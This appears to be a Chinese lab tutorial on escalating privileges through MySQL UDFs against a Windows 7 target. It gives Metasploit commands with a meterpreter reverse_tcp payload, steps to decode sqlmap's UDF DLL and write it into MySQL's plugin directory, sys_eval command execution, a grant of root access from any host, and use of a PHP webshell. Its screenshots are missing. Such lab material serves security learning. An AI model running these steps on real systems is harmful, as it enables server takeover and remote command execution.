MYSQL提权

一、环境准备:

靶场机:windows7:192.168.200.34
攻击机:kali:192.168.200.14

二、原理:

UDF(User-Defined Function)提权指的是通过在MySQL数据库中编写自定义函数(UDF)的方式,实现在MySQL数据库中提升权限的方法

三、利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下手动创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。

  4. 可以将udf.dll写入到相应目录的权限。

  5. 知道root账号密码UDF提权

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

利用navicat实现远程操控

操作方法一之MSF-udf-利用:

靶场设置:
在phpmyadmin中开启mysql远程连接

use mysql;
grant all privileges on *.* to root@'%' identified by '数据库密码';
flush privileges; 

先后执行:
首先需要先使用数据库
MYSQL提权_第1张图片
MYSQL提权_第2张图片
kali中使⽤MSF指令,构造payload进行替换
一、设置参数,执行导入dll

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 123456
set rhosts 192.168.200.38 #靶机IP
run

1、image.png
2、
image.png
3、一般的出现这样的进程信息代表.dll文件正在生成中
MYSQL提权_第3张图片
4、options设置必要参数
MYSQL提权_第4张图片
注意:出现如下报错信信息的解决手段:
MYSQL提权_第5张图片
解决方式
在my.ini中mysqld下的首航添加属性 secure_file_priv = ’ ’
用法详情:

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
 
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
 
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

回到windows7中检验已经生成好的.dll文件,如下图:
MYSQL提权_第6张图片
使用navicat充当远程连接数据库的工具,充当提权的工具:
使用数据库管理工具windows 7 连接mysql
MYSQL提权_第7张图片
执行命令如下命令查看dll是否导入成功,并且新建函数sys_exec
MYSQL提权_第8张图片
sys_exec函数无回显,使用MSF生成的dll 生成自建函数sys_eval(我这里已经创建好了)
MYSQL提权_第9张图片
最后调用sys_eval函数执行dll,从中执行查询命令
MYSQL提权_第10张图片

操作方法二 之手工导出sqlmap中的dll:

利用:sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll
64位选64位,32位选32位
MYSQL提权_第11张图片
1.将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak,将上图的文件放到此目录下,进行解码,生成一个名为udf.dll的文件

  • sqlmap自带shell及二进制文件,防止被误杀都经过异或方式编码,不能直接使用,需利用SQLMap自带的解码工具cloak.py进行解码
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

MYSQL提权_第12张图片
2.将我们的udf.dll二进制文件读取UDF转换为十六机制进行处理;

由于当前的靶场环境是在虚拟机中,所以应该在虚拟中寻找下图文件
此命令在navicat执行即可

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf11.txt';

MYSQL提权_第13张图片
MYSQL提权_第14张图片
3.打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容

create table udftmp (udf LONGBLOB);

MYSQL提权_第15张图片
4.在udftmp中写入udf文件的十六进制内容(第二步骤)

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));

-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径

MYSQL提权_第16张图片
5.将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
(//C:\phpstudyx\Extensions\MySQL5.7.26\lib\plugin\下)
MYSQL提权_第17张图片
MYSQL提权_第18张图片

6.执行下面语句,创建函数cmdshell
可以看大当前是只有两个字函数的,并且每一个函数都对应着类型的文件
MYSQL提权_第19张图片
此处,我们可以直接使用方法一的MSF-UDF方法的sys_eval函数进行提权,利用UDF创建用户自定义函数

create function cmdshell returns string soname 'udf.dll';

MYSQL提权_第20张图片
解决:
MYSQL提权_第21张图片
7.利用函数执行命令

select  sys_eval('whoami');

MYSQL提权_第22张图片

操作方法三之暗月moon.php:

将下载好的大马放入到根下,然后浏览器中解析文件
(www/data/config.php内 数据库存储着用户名和密码)
MYSQL提权_第23张图片
报错,根据靶场经验来看,和php版本有关,如果不知道的话可以尝试其他方法多多踩坑,最后还是得想到降低php版本
MYSQL提权_第24张图片
php版本5.3.29即可
MYSQL提权_第25张图片

查看一下,大马能够实现功能
1、还能利用webshell工具进行反弹shell等诸多功能
MYSQL提权_第26张图片
2、查看mysql版本位数(有利收集信息的SQL语句都可以往进输入)

show variables like '%version_%';

MYSQL提权_第27张图片

3、查看当前用户
MYSQL提权_第28张图片
MYSQL提权_第29张图片
4、
MYSQL提权_第30张图片

你可能感兴趣的:(Guess-Security,mysql,数据库,web安全)